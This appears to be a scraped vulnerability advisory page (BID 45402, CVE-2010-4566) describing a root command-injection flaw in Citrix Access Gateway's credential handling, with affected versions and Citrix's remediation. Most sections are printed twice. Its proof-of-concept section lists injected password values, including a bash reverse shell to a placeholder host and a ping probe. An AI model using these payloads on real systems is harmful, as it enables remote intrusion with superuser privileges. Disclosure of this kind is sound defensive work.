Citrix Access Gateway User Credentials Command Injection Vulnerability
BID:45402
Info
Citrix Access Gateway User Credentials Command Injection Vulnerability
| Bugtraq ID: | 45402 |
| Class: | Unknown |
| CVE: |
CVE-2010-4566 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 15 2010 12:00AM |
| Updated: | Mar 19 2015 09:25AM |
| Credit: | George D. Gal <ggal {at} vsecurity.com> |
| Vulnerable: |
Citrix Access Gateway VPX 4.6 Citrix Access Gateway Standard Edition 4.6 Citrix Access Gateway Standard Edition 4.5 Citrix Access Gateway Enterprise Edition 9.2 Citrix Access Gateway Enterprise Edition 9.1 Citrix Access Gateway Enterprise Edition 9.0 Citrix Access Gateway Enterprise Edition 8.1 Citrix Access Gateway Enterprise Edition 8.0 Citrix Access Gateway Advanced Edition 4.6 Citrix Access Gateway Advanced Edition 4.5 |
| Not Vulnerable: | |
Discussion
Citrix Access Gateway User Credentials Command Injection Vulnerability
Citrix Access Gateway is prone to a command-injection vulnerability.
An attacker can exploit this vulnerability to inject and execute arbitrary commands with superuser privileges.
The following products are vulnerable:
Access Gateway 4.5 Advanced Edition
Access Gateway 4.5 Standard Edition
Access Gateway 4.6 Advanced Edition
Access Gateway 4.6 Standard Edition
Access Gateway 8.0 Enterprise Edition
Access Gateway 8.1 Enterprise Edition
Access Gateway 9.0 Enterprise Edition
Access Gateway 9.1 Enterprise Edition
Access Gateway 9.2 Enterprise Edition
Access Gateway VPX 4.6
Citrix Access Gateway is prone to a command-injection vulnerability.
An attacker can exploit this vulnerability to inject and execute arbitrary commands with superuser privileges.
The following products are vulnerable:
Access Gateway 4.5 Advanced Edition
Access Gateway 4.5 Standard Edition
Access Gateway 4.6 Advanced Edition
Access Gateway 4.6 Standard Edition
Access Gateway 8.0 Enterprise Edition
Access Gateway 8.1 Enterprise Edition
Access Gateway 9.0 Enterprise Edition
Access Gateway 9.1 Enterprise Edition
Access Gateway 9.2 Enterprise Edition
Access Gateway VPX 4.6
Exploit / POC
Citrix Access Gateway User Credentials Command Injection Vulnerability
The following example password values are available:
| bash -i >& /dev/tcp/example.com/<<PORT>> 0>&1 &
| ping -c 10 example.com
The following exploit is available:
The following example password values are available:
| bash -i >& /dev/tcp/example.com/<<PORT>> 0>&1 &
| ping -c 10 example.com
The following exploit is available:
Solution / Fix
Citrix Access Gateway User Credentials Command Injection Vulnerability
Solution:
The use of the vulnerable authentication methods has been deprecated in the Access Gateway product line, and support for these methods has also been removed from the latest versions of these products.
Citrix recommends that affected customers review their use of the deprecated components, and migrate to another authentication method. For more information please see the referenced advisory.
Solution:
The use of the vulnerable authentication methods has been deprecated in the Access Gateway product line, and support for these methods has also been removed from the latest versions of these products.
Citrix recommends that affected customers review their use of the deprecated components, and migrate to another authentication method. For more information please see the referenced advisory.
References
Citrix Access Gateway User Credentials Command Injection Vulnerability
References:
References: